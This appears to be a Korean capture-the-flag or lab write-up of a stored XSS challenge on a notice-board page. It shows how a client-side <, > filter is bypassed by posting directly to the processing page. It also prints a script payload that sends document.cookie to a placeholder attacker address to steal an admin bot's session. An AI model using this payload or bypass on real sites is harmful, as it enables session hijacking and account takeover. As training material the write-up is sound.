1. XSS 포인트
제공된 호스트 접속 시, "xss_6/notice_list.php" 경로에서
Stored XSS 공격이 발생할 수 있는 공지사항 게시판 페이지를 확인할 수 있다.
스크립트 작성 경로 : /xss_6/notice_write_process.php
write.php 파라미터 : create_title, create_body
스크립트 실행 경로 : /xss_6/notice_read.php
read.php 파라미터 : id, view
스크립트가 작성될 수 있는 게시글 작성 페이지와 파라미터,
스크립트가 실행될 수 있는 게시글 읽기 페이지를 확인할 수 있었다.
(* Stored XSS 포인트 확인)
2. 특수문자 필터링 확인하기
"/xss_6/notice_write.php" 페이지를 통해 글을 작성해 보니,
요청에 대한 응답으로
본문에 입력한 텍스트 데이터에 해당하는 create_body 파라미터 데이터 중
<, > 문자에 대해 필터링한 HTML 엔티티 값으로 변환하여 보내주고 있다.
"/xss_6/notice_write.php" 페이지에서 <, > 문자가 필터링된 본문의 데이터를
실질적으로 게시글을 작성하는 "/xss_6/notice_write_process.php" 페이지에 요청하는 모습을 볼 수 있다.
작성된 글을 가져오는 "/xss_6/notice_read.php" 페이지에서
제목과 본문에 해당하는 값을 확인하면
<, > 문자가 필터링돼 있는 것을 확인할 수 있다.
"/xss_6/notice_write.php" 페이지의 <, > 문자 필터링을 우회하기 위해서
실질적으로 글을 작성하는 "/xss_6/notice_write_process.php" 페이지에 직접 <, > 문자가 들어간 내용을 요청했다.
"/xss_6/notice_read.php" 페이지를 통해 작성된 글을 확인해 보니,
본문 데이터가 전송되는 "create_body" 파라미터 값은
모든 특수문자가 사용 가능한 것을 확인할 수 있다.
Burp Suite의 intercept 기능을 이용하여
"/xss_6/notice_write.php" 페이지의 <, > 문자를 필터링하는 스크립트 부분을
응답 변조를 통해 우회할 수도 있다.
3. 스크립트 삽입
"/xss_6/notice_write_process.php" 페이지를 이용하여
"create_body" 파라미터에 POC 스크립트를 작성했다.
"/xss_6/notice_read.php" 페이지를 통해 작성한 글을 확인해 보면
스크립트가 삽입된 것을 볼 수 있다.
POC 스크립트가 삽입된 게시글에 접근해 보면
악성 스크립트로 대변된 POC 코드가 동작하는 것을 볼 수 있다.
4. 예상 피해
- 사용자 쿠키 탈취 : document.cookie
- 사용자 개인정보 탈취 : keylogger
- 악성코드 다운 & 실행
- 피싱 사이트 강제 이동 : location.href
만약 공격자가 POC 코드 대신 위와 같은 악성 스크립트를 작성한다면
일반 사용자들이 해당 게시글을 읽을 때,
공격 스크립트가 사용자의 웹 브라우저에서 동작해
피해가 발생할 것으로 보인다.
5. 쿠키 탈취
<script>var i = new Image(); i.src = "공격자 주소/?cookie="+document.cookie;</script>
쿠키를 탈취하는 스크립트를 작성한 뒤,
<, > 문자 필터링을 우회할 수 있는
/xss_6/notice_write_process.php" 페이지를 이용해
본문에 삽입하여 게시글을 작성했다.
작성된 게시글에 접근 시,
공격자의 서버에서 접근한 사용자의 세션 ID를 확인할 수 있었다.
쿠키 탈취 스크립트가 삽입된 게시글의 주소를
관리자 봇이 접근할 수 있도록 전달해 보니,
공격자의 서버에서
피해자인 관리자의 세션 ID
즉, FLAG를 얻을 수 있었다.